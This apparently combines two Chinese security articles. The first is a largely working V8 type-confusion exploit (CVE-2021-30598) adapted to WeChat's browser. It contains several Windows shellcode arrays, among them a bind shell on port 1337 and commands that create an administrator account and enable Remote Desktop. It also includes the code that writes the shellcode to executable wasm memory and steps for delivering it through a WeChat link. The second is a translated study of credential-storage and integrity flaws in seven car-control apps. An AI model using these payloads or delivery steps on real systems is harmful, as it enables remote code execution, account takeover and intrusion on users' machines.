// 0x31,0xc9,0x64,0x8b,0x41,0x30,0x8b,0x40,0x0c,0x8b,0x70,0x14,0xad,0x96,0xad,0x8b,0x58,0x10,0x8b,0x53,0x3c,0x01,0xda,0x8b,0x52,0x78,0x01,0xda,0x8b,0x72,0x20,0x01,0xde,0x31,0xc9,0x41,0xad,0x01,0xd8,0x81,0x38,0x47,0x65,0x74,0x50,0x75,0xf4,0x81,0x78,0x04,0x72,0x6f,0x63,0x41,0x75,0xeb,0x81,0x78,0x08,0x64,0x64,0x72,0x65,0x75,0xe2,0x8b,0x72,0x24,0x01,0xde,0x66,0x8b,0x0c,0x4e,0x49,0x8b,0x72,0x1c,0x01,0xde,0x8b,0x14,0x8e,0x01,0xda,0x31,0xf6,0x89,0xd6,0x31,0xff,0x89,0xdf,0x31,0xc9,0x51,0x68,0x61,0x72,0x79,0x41,0x68,0x4c,0x69,0x62,0x72,0x68,0x4c,0x6f,0x61,0x64,0x54,0x53,0xff,0xd2,0x83,0xc4,0x0c,0x31,0xc9,0x68,0x65,0x73,0x73,0x42,0x88,0x4c,0x24,0x03,0x68,0x50,0x72,0x6f,0x63,0x68,0x45,0x78,0x69,0x74,0x54,0x57,0x31,0xff,0x89,0xc7,0xff,0xd6,0x83,0xc4,0x0c,0x31,0xc9,0x51,0x68,0x64,0x6c,0x6c,0x41,0x88,0x4c,0x24,0x03,0x68,0x6c,0x33,0x32,0x2e,0x68,0x73,0x68,0x65,0x6c,0x54,0x31,0xd2,0x89,0xfa,0x89,0xc7,0xff,0xd2,0x83,0xc4,0x0b,0x31,0xc9,0x68,0x41,0x42,0x42,0x42,0x88,0x4c,0x24,0x01,0x68,0x63,0x75,0x74,0x65,0x68,0x6c,0x45,0x78,0x65,0x68,0x53,0x68,0x65,0x6c,0x54,0x50,0xff,0xd6,0x83,0xc4,0x0d,0x31,0xc9,0x68,0x65,0x78,0x65,0x41,0x88,0x4c,0x24,0x03,0x68,0x63,0x6d,0x64,0x2e,0x54,0x59,0x31,0xd2,0x42,0x52,0x31,0xd2,0x52,0x52,0x51,0x52,0x52,0xff,0xd0,0xff,0xd7
// ];
// WinExec("cmd.exe",0)
// var shellcode = [
// 0x31,0xc9,0x64,0xa1,0x30,0x00,0x00,0x00,0x8b,0x40,0x0c,0x8b,0x70,0x14,0xad,0x96,0xad,0x8b,0x58,0x10,0x8b,0x53,0x3c,0x01,0xda,0x8b,0x52,0x78,0x01,0xda,0x8b,0x72,0x20,0x01,0xde,0x31,0xc9,0x41,0xad,0x01,0xd8,0x81,0x38,0x47,0x65,0x74,0x50,0x75,0xf4,0x81,0x78,0x04,0x72,0x6f,0x63,0x41,0x75,0xeb,0x81,0x78,0x08,0x64,0x64,0x72,0x65,0x75,0xe2,0x8b,0x72,0x24,0x01,0xde,0x66,0x8b,0x0c,0x4e,0x49,0x8b,0x72,0x1c,0x01,0xde,0x8b,0x14,0x8e,0x01,0xda,0x31,0xf6,0x52,0x5e,0x31,0xff,0x53,0x5f,0x31,0xc9,0x51,0x68,0x78,0x65,0x63,0x00,0x68,0x57,0x69,0x6e,0x45,0x89,0xe1,0x51,0x53,0xff,0xd2,0x31,0xc9,0x51,0x68,0x65,0x73,0x73,0x00,0x68,0x50,0x72,0x6f,0x63,0x68,0x45,0x78,0x69,0x74,0x89,0xe1,0x51,0x57,0x31,0xff,0x89,0xc7,0xff,0xd6,0x31,0xf6,0x50,0x5e,0x31,0xc9,0x51,0x68,0x65,0x78,0x65,0x00,0x68,0x63,0x6d,0x64,0x2e,0x89,0xe1,0x6a,0x00,0x51,0xff,0xd7,0x6a,0x00,0xff,0xd6,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00
// ];
//bind tcp 1337
// var shellcode = [
// 0x89,0xe5,0x81,0xc4,0xf0,0xf9,0xff,0xff,0x31,0xc9,0x64,0x8b,0x71,0x30,0x8b,0x76,0x0c,0x8b
// ,0x76,0x1c,0x8b,0x5e,0x08,0x8b,0x7e,0x20,0x8b,0x36,0x66,0x39,0x4f,0x18,0x75,0xf2,0xeb,0x06
// ,0x5e,0x89,0x75,0x04,0xeb,0x54,0xe8,0xf5,0xff,0xff,0xff,0x60,0x8b,0x43,0x3c,0x8b,0x7c,0x03
// ,0x78,0x01,0xdf,0x8b,0x4f,0x18,0x8b,0x47,0x20,0x01,0xd8,0x89,0x45,0xfc,0xe3,0x36,0x49,0x8b
// ,0x45,0xfc,0x8b,0x34,0x88,0x01,0xde,0x31,0xc0,0x99,0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xca
// ,0x0d,0x01,0xc2,0xeb,0xf4,0x3b,0x54,0x24,0x24,0x75,0xdf,0x8b,0x57,0x24,0x01,0xda,0x66,0x8b
// ,0x0c,0x4a,0x8b,0x57,0x1c,0x01,0xda,0x8b,0x04,0x8a,0x01,0xd8,0x89,0x44,0x24,0x1c,0x61,0xc3
// ,0x68,0x83,0xb9,0xb5,0x78,0xff,0x55,0x04,0x89,0x45,0x10,0x68,0x8e,0x4e,0x0e,0xec,0xff,0x55
// ,0x04,0x89,0x45,0x14,0x68,0x72,0xfe,0xb3,0x16,0xff,0x55,0x04,0x89,0x45,0x18,0x31,0xc0,0x66
// ,0xb8,0x6c,0x6c,0x50,0x68,0x33,0x32,0x2e,0x64,0x68,0x77,0x73,0x32,0x5f,0x54,0xff,0x55,0x14
// ,0x89,0xc3,0x68,0xcb,0xed,0xfc,0x3b,0xff,0x55,0x04,0x89,0x45,0x1c,0x68,0xd9,0x09,0xf5,0xad
// ,0xff,0x55,0x04,0x89,0x45,0x20,0x68,0xa4,0x1a,0x70,0xc7,0xff,0x55,0x04,0x89,0x45,0x24,0x68
// ,0xa4,0xad,0x2e,0xe9,0xff,0x55,0x04,0x89,0x45,0x28,0x68,0x76,0x79,0x5b,0x9f,0xff,0x55,0x04
// ,0x89,0x45,0x32,0x68,0xe5,0x49,0x86,0x49,0xff,0x55,0x04,0x89,0x45,0x36,0x89,0xe0,0x66,0xb9
// ,0x90,0x05,0x29,0xc8,0x50,0x31,0xc0,0x66,0xb8,0x02,0x02,0x50,0xff,0x55,0x1c,0x31,0xc0,0x50
// ,0x50,0x50,0xb0,0x06,0x50,0x2c,0x05,0x50,0x40,0x50,0xff,0x55,0x20,0x89,0xc6,0x31,0xc0,0x50
// ,0x66,0xb8,0x05,0x39,0xc1,0xe0,0x10,0x66,0x83,0xc0,0x02,0x50,0x54,0x5f,0x31,0xc0,0x04,0x16
// ,0x50,0x57,0x56,0xff,0x55,0x24,0xff,0x55,0x32,0x31,0xc0,0x50,0x56,0xff,0x55,0x28,0x31,0xc0
// ,0x50,0x50,0x56,0xff,0x55,0x36,0x89,0xc6,0x56,0x56,0x56,0x31,0xc0,0x50,0x50,0xb0,0x80,0x31
// ,0xc9,0xb1,0x80,0x01,0xc8,0x50,0x31,0xc0,0x50,0x50,0x50,0x50,0x50,0x50,0x50,0x50,0x50,0x50
// ,0xb0,0x44,0x50,0x54,0x5f,0xb8,0x9b,0x87,0x9a,0xff,0xf7,0xd8,0x50,0x68,0x63,0x6d,0x64,0x2e
// ,0x54,0x5b,0x89,0xe0,0x31,0xc9,0x66,0xb9,0x90,0x03,0x29,0xc8,0x50,0x57,0x31,0xc0,0x50,0x50
// ,0x50,0x40,0x50,0x48,0x50,0x50,0x53,0x50,0xff,0x55,0x18,0x31,0xc0,0x50,0x6a,0xff,0xff,0x55
// ,0x04
// ];
// messageboxa
var shellcode = [
// 0x6A,0x00,//push 0
// 0x6A,0x00,//push 0
// 0x6A,0x00,//push 0
// 0x6A,0x00,//push 0
// 0xFF,0x15,0x12,0x13,0x14,0x15,//call xxxx
0x89,0xe5,0x83,0xec,0x30,0x31,0xdb,0x64,0x8b,0x5b,0x30,0x8b,0x5b,0x0c,0x8b,0x5b,0x1c,0x8b,0x1b,0x8b,0x1b
,0x8b,0x43,0x08,0x89,0x45,0xfc,0x8b,0x58,0x3c,0x01,0xc3,0x8b,0x5b,0x78,0x01,0xc3,0x8b,0x7b,0x20,0x01,0xc7
,0x89,0x7d,0xf8,0x8b,0x4b,0x24,0x01,0xc1,0x89,0x4d,0xf4,0x8b,0x53,0x1c,0x01,0xc2,0x89,0x55,0xf0,0x8b,0x53
,0x14,0x89,0x55,0xec,0xeb,0x32,0x31,0xc0,0x8b,0x55,0xec,0x8b,0x7d,0xf8,0x8b,0x75,0xe8,0x31,0xc9,0xfc,0x8b
,0x3c,0x87,0x03,0x7d,0xfc,0x66,0x83,0xc1,0x0f,0xf3,0xa6,0x74,0x05,0x40,0x39,0xd0,0x72,0xe4,0x8b,0x4d,0xf4
,0x8b,0x55,0xf0,0x66,0x8b,0x04,0x41,0x8b,0x04,0x82,0x03,0x45,0xfc,0xc3,0x31,0xc0,0x66,0xb8,0x73,0x73,0x50
,0x68,0x64,0x64,0x72,0x65,0x68,0x72,0x6f,0x63,0x41,0x68,0x47,0x65,0x74,0x50,0x89,0x65,0xe8,0xe8,0xb0,0xff
,0xff,0xff,0x89,0x45,0xe4,0x31,0xd2,0x52,0x68,0x61,0x72,0x79,0x41,0x68,0x4c,0x69,0x62,0x72,0x68,0x4c,0x6f
,0x61,0x64,0x54,0xff,0x75,0xfc,0x8b,0x45,0xe4,0xff,0xd0,0x89,0x45,0xe0,0x31,0xc0,0x66,
0xb8,0x72,0x74, //mov ax 0x7472=rt
0x50 //push eax
,0x68,0x6d,0x73,0x76,0x63, //push 0x6d737663=msvc
// 0xb8,0x33,0x32, //32
// 0x50,
// 0x68,0x75,0x73,0x65,0x72,//user
0x54,0x8b,0x5d,0xe0,0xff,0xd3,0x89,0x45,0xdc,0x31,0xd2,0x66,
0xba,0x65,0x6d, //mov dx em
0x52 //push edx
,0x68,0x73,0x79,0x73,0x74, //push syst
// get MessageBoxA
//
// 0x68,0x6f,0x78,0x41,0x00,//push oxA\x0
// 0x68,0x61,0x67,0x65,0x42,//push ageB
// 0x68,0x4D,0x65,0x73,0x73,//push Mess
0x54,0xff,0x75,0xdc,0x8b,0x45,0xe4,0xff,0xd0,0x89,0x45,0xd8,0x31,0xc9,0x66,0xb9
,0x4c,0x45,0x51,
/*
push 0x42415349 ; BASI : 42415349
push 0x443d6564 ; D=ed : 443d6564
push 0x6f6d2065 ; om e : 6f6d2065
push 0x646f6d70 ; domp : 646f6d70
push 0x6f207465 ; o te : 6f207465
push 0x73206c6c ; s ll : 73206c6c
push 0x61776572 ; awer : 61776572
push 0x69662068 ; if h : 69662068
push 0x7374656e ; sten : 7374656e
*/
// 0x68,0x49,0x53,0x41,0x42,
// 0x68,0x64,0x65,0x3d,0x44,
// 0x68,0x65,0x20,0x6d,0x6f,
// 0x68,0x70,0x6d,0x6f,0x64,
// 0x68,0x65,0x74,0x20,0x6f,
// 0x68,0x6c,0x6c,0x20,0x73,
// 0x68,0x72,0x65,0x77,0x61,
// 0x68,0x68,0x20,0x66,0x69,
// 0x68,0x6e,0x65,0x74,0x73,
//------构造system参数
0x68,32,32,32,00,
0x68,46,101,120,101,
0x68,99,97,108,99,
0x54, //push esp
//--------
// 0x6A,0x00,
// 0x6A,0x00,
// 0x6A,0x00,
// 0x6A,0x00,
0x8b,0x45,0xd8, //mov eax,dword ptr [ebp-28h]
0xff,0xd0, //call eax
0x31,0xc9,0x51,0x68,0x2f,0x61,0x64,0x64,0x68
,0x79,0x21,0x21,0x20,0x68,0x43,0x40,0x6e,0x64,0x68,0x72,0x6e,0x55,0x32,0x68,0x75,0x20,0x54,0x75,0x68,0x69
,0x6e,0x42,0x75,0x68,0x20,0x4d,0x61,0x6a,0x68,0x75,0x73,0x65,0x72,0x68,0x6e,0x65,0x74,0x20,0x54,0x8b,0x45
,0xd8,0xff,0xd0,0x31,0xc9,0x51,0xb9,0x90,0x61,0x64,0x64,0xc1,0xe9,0x08,0x51,0x68,0x75,0x75,0x20,0x2f,0x68
,0x6a,0x69,0x6e,0x42,0x68,0x73,0x20,0x4d,0x61,0x68,0x61,0x74,0x6f,0x72,0x68,0x69,0x73,0x74,0x72,0x68,0x64
,0x6d,0x69,0x6e,0x68,0x75,0x70,0x20,0x41,0x68,0x6c,0x67,0x72,0x6f,0x68,0x6c,0x6f,0x63,0x61,0x68,0x6e,0x65
,0x74,0x20,0x54,0x8b,0x45,0xd8,0xff,0xd0,0x31,0xc9,0x51,0xb9,0x90,0x61,0x64,0x64,0xc1,0xe9,0x08,0x51,0x68
,0x75,0x75,0x20,0x2f,0x68,0x6a,0x69,0x6e,0x42,0x68,0x22,0x20,0x4d,0x61,0x68,0x73,0x65,0x72,0x73,0x68,0x6f
,0x70,0x20,0x55,0x68,0x65,0x73,0x6b,0x74,0x68,0x74,0x65,0x20,0x44,0x68,0x52,0x65,0x6d,0x6f,0x68,0x75,0x70
,0x20,0x22,0x68,0x6c,0x67,0x72,0x6f,0x68,0x6c,0x6f,0x63,0x61,0x68,0x6e,0x65,0x74,0x20,0x54,0x8b,0x45,0xd8
,0xff,0xd0,0x31,0xc9,0x51,0x68,0x30,0x20,0x2f,0x66,0x68,0x20,0x2f,0x64,0x20,0x68,0x57,0x4f,0x52,0x44,0x68
,0x45,0x47,0x5f,0x44,0x68,0x2f,0x74,0x20,0x52,0x68,0x6f,0x6e,0x73,0x20,0x68,0x65,0x63,0x74,0x69,0x68,0x43
,0x6f,0x6e,0x6e,0x68,0x6e,0x79,0x54,0x53,0x68,0x20,0x66,0x44,0x65,0x68,0x22,0x20,0x2f,0x76,0x68,0x72,0x76
,0x65,0x72,0x68,0x6c,0x20,0x53,0x65,0x68,0x6d,0x69,0x6e,0x61,0x68,0x5c,0x54,0x65,0x72,0x68,0x74,0x72,0x6f
,0x6c,0x68,0x5c,0x43,0x6f,0x6e,0x68,0x6c,0x53,0x65,0x74,0x68,0x6e,0x74,0x72,0x6f,0x68,0x6e,0x74,0x43,0x6f
,0x68,0x75,0x72,0x72,0x65,0x68,0x45,0x4d,0x5c,0x43,0x68,0x53,0x59,0x53,0x54,0x68,0x49,0x4e,0x45,0x5c,0x68
,0x4d,0x41,0x43,0x48,0x68,0x43,0x41,0x4c,0x5f,0x68,0x59,0x5f,0x4c,0x4f,0x68,0x22,0x48,0x4b,0x45,0x68,0x61
,0x64,0x64,0x20,0x68,0x72,0x65,0x67,0x20,0x54,0x8b,0x45,0xd8,0xff,0xd0
];
var data_buf = new ArrayBuffer(shellcode.length*8);
var data_view = new DataView(data_buf);
var data_buf_address = addrof(data_buf);
print("[*]data_buf_address:0x"+data_buf_address.toString(16));
// for(var i = 0;i < 20;i++){
// print("i:"+i+" data:"+read64(wasm_instance_addr+i*8).toString(16));
// }
//注意偏移量
var buf_backing_store_addr = data_buf_address + 0x8*2;
//注意偏移量
let rwx_page = read64(wasm_instance_addr+0x40);
print("[*] rwx_page addr 0x" + (rwx_page).toString(16));
write64(buf_backing_store_addr,rwx_page);
print("write to: 0x"+buf_backing_store_addr.toString(16)+" data:0x"+rwx_page.toString(16));
var tmp2 = read64(buf_backing_store_addr);
print("tmp2:0x"+tmp2.toString(16));
for(let i = 0;i < shellcode.length;i++){
data_view.setUint8(i,shellcode[i],true);
}
alert("[*] 写代码成功"+rwx_page.toString(16));
f();
alert("[*]执行完毕")
</script>
</html>
server.js
const express = require("express")
const fs = require("fs")
const app = express()
const path = require("path")
const https = require("https")
app.get("/test",function(req,res){
console.log("get request");
res.send("ok");
})
app.use("/",express.static(path.join(__dirname,"public")))
app.listen(443,function(){
console.log("listening 443...")
})
使用方法：
安装nodejs，在server.js同目录下创建public文件夹，node server.js跑起来（也可以使用自己熟悉的其他语言搭建服务器）
在微信里搞个连接，他会自己帮我们转成link。
# EXP分析
这个洞是[cve-2021-30598](https://bugs.chromium.org/p/chromium/issues/detail?id=1234764
"cve-2021-30598")
，原exp：[https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=513233](https://bugs.chromium.org/p/chromium/issues/detail?id=1234764
"https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=513233")
经测试，该exp在v8 < 9.1.0可以使用。首先我们来复习一下V8类型混淆漏洞的利用过程（如果对V8 exp的构造过程不了解，请参考@
**Hcamael** 大神的[几篇文章](https://paper.seebug.org/1820/ "几篇文章")
1、利用越界读获取double array map
2、利用obj array to double array构造 **任意变量地址读** 。该漏洞没有修改array map，而是通过double
array覆盖obj array，原理如图所示：
3、利用double array to obj array构造fake obj，实现 **任意地址读写** 。该漏洞同样不是通过修改array
map，而是通过堆叠array的方式
4、把ArrayBuffer的buf_backing_store地址修改为WebAssembly.Instance的buf_backing_store，因为wasm申请的内存是可读可写可执行的。原exp没有用这种方式，但是我觉得这种方式比较容易理解，所以把利用脚本改成了这种。
下面分析一下实际环境中exp的改造过程遇到的问题，及解决方案
1、减少jit循环
在chromium下， **过多的循环次数会造成崩溃** ，这与实验环境不同（原exp循环10万次），所以需要减少触发jit的循环次数，
**既不能崩溃，又要触发jit优化**
，经测试，leak_addr_helper、leak_array_map循环3000次，fake_obj_helper循环10000次为合理的次数。
2、地址长度
微信V8是32位的，而原exp为64位利用脚本，但是由于新版本V8地址压缩的原因，地址长度不需要修改。
3、偏移量计算
由于实验环境中可以使用%DebugPrint()，%SystemBreak()等方便的函数调试堆布局，而实际环境中没法准确的下断点，因此需要使用其他手段确定自己的堆布局是否正确。可以
**先在实验环境调试** ，初步确定堆布局是什么样的，再在要构造数据的前后布局 **锚点数据** ，以确定实际环境中自己读取的数据是否正确。
leak_array_map:
...
let arr2 = new Array(10);//[1337.5, 1338.5, 1339.5]; // arr2 is of type double too
for (var i = 0; i < 10; i++) arr2[i] = i+1337.5;
...
//v0应该是arr2最后一个元素,即1346.5
let v0 = iter.next();
let v1 = iter.next();
...
var res = leak_array_map(true,arr,true);
let array_map_leak = res[1];
print("anchor data = 0x" + (ftoi(res[0])).toString(16) + " | " + res[0]); //这里alert出来，应该是1346.5
print("array_map_leak = 0x" + (ftoi(res[1])).toString(16) + " | " +res[1]);
addrof:
...
let arr = new Array(3+30*(1+confused));
arr[0] = 0.5;
let arr2 = new Array(5); for (var idx = 0; idx < 5; idx+=1) arr2[idx]={};
arr2[1] = obj;
arr2[0] = 0x1337; //注意这里，arr2是个obj array，每个元素（地址）长32bit，arr是个double array，读的时候每个元素长64bit，因此如果读到正确的double，其低32bit应该是0x1337（小端存储）
...
let f = leak_addr_helper(true, obj,true);
let n = ftoi(f);
let u = upper(n);
let l = lower(n);
if (l == (0x1337 << 1)) print("[*]lower data match"); //在v8里，small integer在内存里的值为实际值的两倍，因此判断的时候要乘2，即左移1位
...
fake_obj_helper:
...
let arr = new Array(3+30*(1+confused));
arr[0] = 0; //这里有个细节，arr[0]赋值成small integer和obj对应的array map是相同的，但是的堆布局不同。smi更好构造堆布局
let arr2 = new Array(5); for (var idx = 0; idx < 5; idx+=1) arr2[idx]=0.0;
arr2[0] = val; //要读取地址的obj
let iter = arr[Symbol.iterator]();
iter.next();iter.next();iter.next();
iter.next();
//v0应该是arr2的长度，即5
let v0 = iter.next();
let v1 = iter.next();
...
let f = itof(pair(addr,addr));
let res = fake_obj_helper(true,f,true);
print("[*]res[0]:"+res[0]); //这里应该是5
...
至此堆叠array读取时通过迭代器（iterator）读取偏移量已经确定，还有一个问题，
**怎么确定buf_backing_store_addr相对ArrayBuffer和WebAssembly.Instance基地址的偏移量**
，虽然在实验环境这个值可以通过%DebugPrint和读内存轻松获得，但是调试过程中发现，ubuntu 18.04下编译的v8 8.1.307.32
32位的buf_backing_store_addr偏移量和微信的实际环境中的并不相同，不能拿过来直接用。
4、buf_backing_store_addr的两个偏移量
首先确定 **WebAssembly.Instance**
的buf_backing_store_addr偏移量，因为由调试经验知，wasm_instance创建后，堆上会多一块 **唯一的可读可写可执行**
的内存，且由于堆上的内存块0x1000字节对齐，该内存块的地址是这样的：0x ** _*_** **000，因此只需要
① 在wasm_instance申请内存前后通过alert阻塞住进程，通过windbg的 **!vadump**
命令（约等于pwndbg的vmmap）找到那块多出来的 **可读可写可执行内存**
② 我们已经有了任意变量地址读，和任意地址读，从wasm_instance的基地址开始，输出基地址+i*8的内存，就能找到偏移量了
...
let wasm_instance_addr = addrof(wasmInstance);
for(var i = 0;i < 20;i++){
print("i:"+i+" data:"+read64(wasm_instance_addr+i*8).toString(16)); //000结尾的，且和windbg里RWX那块内存地址相同的
}
...
（显然是他）
再确定 **ArrayBuffer** 的buf_backing_store_addr偏移量，因为wasm
instance的偏移量已经确定了，由调试经验知，ArrayBuffer的buf_backing_store地址以0结尾，同样循环输出，找到疑似的偏移量挨个尝试即可，如果偏移量正确，以下代码的第二个alert应该不会执行，因为偏移量正确时wasm里已经成功写入我们的shellcode了，执行的是我们的shellcode；而偏移量不正确时wasm里是空的，f()会直接返回，什么都不发生，第二句alert成功执行
alert("[*] 写代码成功"+rwx_page.toString(16));
f();
alert("[*]执行完毕")
最后给出我调试的结论：
在微信最新版
ArrayBuffer的buf_backing_store_addr偏移量为：base_addr+0x10
WebAssembly.Instance的buf_backing_store_addr偏移量为：base_addr+0x40
5、怎么确定代码流被控制到我们的shellcode了
经过以上4步，理论上我们的shellcode应该已经执行了，但是实际环境中，并没有弹出计算器，那么怎么确定我们的shellcode是否成功执行了呢？经过上述的一顿操作，我们已经能够知道可读可写可执行的内存地址是什么，这时就能通过windbg来调试我们的代码了，以下是我的调试过程：
①在代码执行前alert一下，卡住进程
②windbg attach进程
③内存下断点，放过后点击弹窗，让进程继续运行
断在了我们写入的内存：
④因为shellcode是执行了system("calc.exe");，在msvcrt.dll!system 的入口处下断点，继续跑起来
断下了：
kb命令看下参数：
入参设置没问题，pt跑到函数返回：
很可惜，system函数返回-1，代表执行失败了，多次更换姿势后推测是存在沙箱，需要借助一个穿沙箱的洞才能构造完整的利用链
# 结论
我们已经能够控制代码执行流到我们的shellcode，但是由于chromium的沙箱限制（看现象推测是沙箱，没研究过沙箱具体实现所以不能确定，如有错误请指正），并不能弹出计算器，如果要构造完整的利用链还需要绕过windows的沙箱机制（chromium的沙箱用了windows的沙箱），但是本文作者发现有些使用V8引擎的应用是没有沙箱限制的，可以直接实现无沙箱的远程代码执行，本文提供了实际环境中调试这种应用的思路。
广告：<https://github.com/lxraa/v8_exp> 放一些已公开v8 poc的exp
* * * | 社区文章 |
# 【技术分享】研究人员发现车控APP安全隐患并模拟黑客入侵
|
##### 译文声明
本文是翻译文章，文章来源：securelist.com
原文地址：<https://securelist.com/analysis/publications/77576/mobile-apps-and-stealing-a-connected-car/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[金乌实验室](http://bobao.360.cn/member/contribute?uid=2818394007)
预估稿费：260RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**前言**
在过去的几年中，互联网接入汽车越来越受欢迎。互联网接入的形式不仅仅限于多媒体系统（音乐、地图、电影），汽车钥匙系统也越来越流行。车主通过车控APP便能获得汽车GPS坐标、行车路线、解锁车门、发动引擎和打开辅助装置。这样的功能是一把双刃剑，为车主提供方便的同时也埋下了安全的隐患。如果偷车贼入侵了安装有汽车APP的移动设备，那么偷车岂不就是小菜一碟？
为了找到问题的答案，我们接下来将模拟入侵行为，希望车主能够从中学习到能够规避这种风险的方法。
**潜在的威胁**
车控APP非常流行，应用商店里那些最受欢迎的车控类APP的用户数量可达百万。下面列举了几个：
我们将选取7个APP作为我们的研究对象，这些APP可以控制来自不同制造商的车辆。我们不会揭露那些APP的名字，但是我们将研究结果通知了实验过程中涉及到的制造商。
我们对每个APP的以下几个方面做了检查：
1\. 潜在的危险功能是否可用，是否可以通过APP偷车，或者是使某个系统瘫痪。
2\.
APP的开发人员是否采用方法来实现APP的逆向工程复杂化（代码混淆或者打包）。否则，偷车贼将很轻易就能看到APP的代码，找到漏洞，并利用漏洞入侵汽车的基础设施。
3\.
APP是否检查设备的root权限。如果恶意软件感染了有root的设备，那么它将能够做任何事情。在这种情况下，关键是要确定开发人员是否将用户凭证以纯文本的形式保存在设备上。
4\. 是否有验证，向用户展示APP的GUI（overlay
保护）。Android允许监视向用户展示的APP，恶意软件可以通过向用户展示具有相同GUI的网络钓鱼窗口并窃取用户凭证来进行拦截。
5\.
是否有APP完整性验证，例如APP是否能验证自身代码的更改。这关系到入侵者是否能注入他的代码到APP，然后发布到应用商店，并保持原来APP相同的功能和特征。
不幸的是，实验证明所有的APP总会在某个方面存在容易受到攻击的安全隐患。
**测试车控APP**
此次实验，我们从知名品牌的汽车APP中选择了7个最受欢迎的，测试了这些APP的能够被利用来访问汽车的基础设施的漏洞。
测试结果如下。此外，我们还审查了每个应用程序的安全功能。
**APP #1**
汽车注册过程为输入用户名和密码，以及汽车的VIN到APP。之后APP会显示一个PIN，这个PIN必须使用传统方法在车内输入，以便完成将智能手机链接到汽车的过程。这就意味着仅知道VIN不足以解锁车门。
APP不会检查设备是否有root权限
，并将用户名以及汽车的VIN在accounts.xml文件中作为纯文本存储。如果木马在链接了的智能手机上具有超级用户访问权限，那么窃取数据将会非常容易。
APP
#1可以轻松地被反编译，并且代码能被阅读和理解。除此之外，它不会抵消自己重叠的GUI，这就意味着用户名和密码可以被可能仅仅只有50行代码的钓鱼APP获得。如果APP有目标程序包的名称，我们应该能够检测到哪个APP正在运行和启动具有相似GUI的恶意行为。
为了进行完整性验证，我们修改了loginWithCredentials（登录凭证）方法。
在这种情况下，用户名和密码就这样简单的显示在智能手机的屏幕上，没有任何措施来阻止嵌入代码并向入侵者的服务器发送凭证。
没有完整性验证就意味着任何感兴趣的人都可以随心所欲的修改APP，并将修改过的APP发给潜在的受害者。签名验证非常缺乏。这样的攻击需要入侵者付出一些努力，因为他们必须能哄骗用户下载修改过的APP。这样的攻击是悄无声息的，所以用户在他的汽车被盗之前不会察觉到任何异常。
但是，好的方面是APP用SSL证书创建连接，这防止了中间人攻击。
**App #2**
该APP提供保存用户凭证，同时建议加密整个设备以防盗。这是可以理解的，但是犯罪者不是要偷电话，只是要“感染”它。在App #2中发现了存在于APP
#1中的同样的问题，用户名和密码以纯文本的形式存储在 prefs file.{?????????}.xml file中（问号表示由APP随机生成的字符）。
VIN存储在下一个文件中。
随着实验的深入，我们得到了更多的信息。开发人员甚至没有时间去实施应用程序代码的完整性验证，并且由于某些原因，他们也忘记了做代码混淆。结果就是我们很容易的便能修改LoginActivity代码。
APP保留了自己的功能性，但是在注册过程中输入的用户名和密码在登录尝试后会立即显示在屏幕上。
**App #3**
与此APP配对的汽车可选择性的配置一个控制模块，控制模块可启动发动机和解锁车门。
由经销商安装的每个模块都有一个带有访问代码的贴纸，贴纸会交到车主手中，这样即便知道VIN也不可能将汽车链接到其他凭证。
但是仍然有其他的攻击可能性：首先，APP很小，它的APK大小为180 KB; 其次，整个APP将其调试数据记录到了保存在SD卡上的文件中。
在LoginActivity开始时记录日志
**转储日志文件的位置**
不幸的是日志记录只有在以下标志被设置在APP中时才能被启用：android：debuggable =“true”。
公共版本的APP是没有标志的，但我们可以将它插入到APP中。为此，我们将使用Apktool
utility。启动编辑过的APP并尝试登录之后，设备的SD卡将会创建一个带有TXT文件的marcsApp文件夹。在我们的示例中，账户的用户名和密码已经输出到文件中。
当然，说服受害者删除原来的APP，并安装一个相同的带有调试标志的APP并不是那么容易。但是仍然是可以实现的，方法是将受害者诱导到一个网站去下载一个重要的更新，将编辑过的APP和安装手册伪装为更新。从经验上来说，病毒制作者善于使用社工的方法。现在向APP添加将日志文件发送到指定服务器或以SMS消息的形式发送到电话号码的功能并不是难事。
**App #4**
该APP允许将现有的VIN绑定到任何凭证，但是会发送请求到汽车的内置电脑上。因此，不成熟的VIN盗窃将不会有助于黑客入侵车辆。
但是，被测试的APP对于其窗口上的overlays是没有防御力的。如果入侵者获得了系统的用户名和密码，那么他便能够解锁车门。
令人遗憾的是，该APP将系统的用户名以及大量的其他有趣的数据以明文储存，例如汽车的制造、VIN和汽车的号码。所有的这些数据都位于MyCachingStrategy.xml文件中。
**App #5**
为了将汽车连接到安装了该APP的智能手机上，需要知道汽车内置电脑上显示的PIN。这就意味着和App #4的情况一样，知道VIN是不够的，必须从汽车内部攻破。
**App #6**
该APP由俄罗斯的开发人员制作，区别于其同行，该APP使用车主的电话号码作为授权。 这种方法对任何车主都会造成相当程度的风险，只需执行一个Android
API函数即可获得系统的用户名，发起攻击。
**App #7**
我们注意到，参与实验的最后一个APP将用户名和密码以纯文本的形式存储在credentials.xml文件中。
如果智能手机被具有超级用户权限的木马病毒感染了，那么该文件的窃取将轻而易举。
**汽车被盗是如何发生的**
理论上，拿到凭证后，入侵者便能够获得汽车的控制权，但这并不意味着就能够简单的把车开走，必须有钥匙才能启动汽车。因此，偷车贼进入车里之后，会使用编程单元写一个新的密钥放入到汽车的车载系统中。几乎所有的APP都允许解锁车门，这样就绕过了汽车的报警系统。因此，偷车贼便可以在不破坏任何东西的情况下悄悄的将车迅速偷走。
值得注意的是，车控APP带来的风险不仅仅是汽车盗窃，入侵汽车并故意篡改某些元素可能导致交通事故，带来伤害或死亡。
我们检测的这几款APP都没有防御机制。但是值得庆幸的是这些APP中没有一个是通过声音或SMS消息来控制汽车的。这种方法被售后报警系统制造商使用，包括俄罗斯的那款APP，因为移动互联网的质量并不能保证汽车总是在线，而语音呼叫和SMS消息却随时可用。下面我们简单分析一下由此产生的汽车安全威胁。
声控是通过所谓的DTMF命令处理的。车主必须给汽车打电话，汽车的报警系统会响应呼入，并报告汽车状态，然后切换到待机模式，等待车主的命令。然后，车主拨打预设的号码来命令汽车解锁车门并启动发动机，报警系统通过识别这些代码来执行正确的命令。
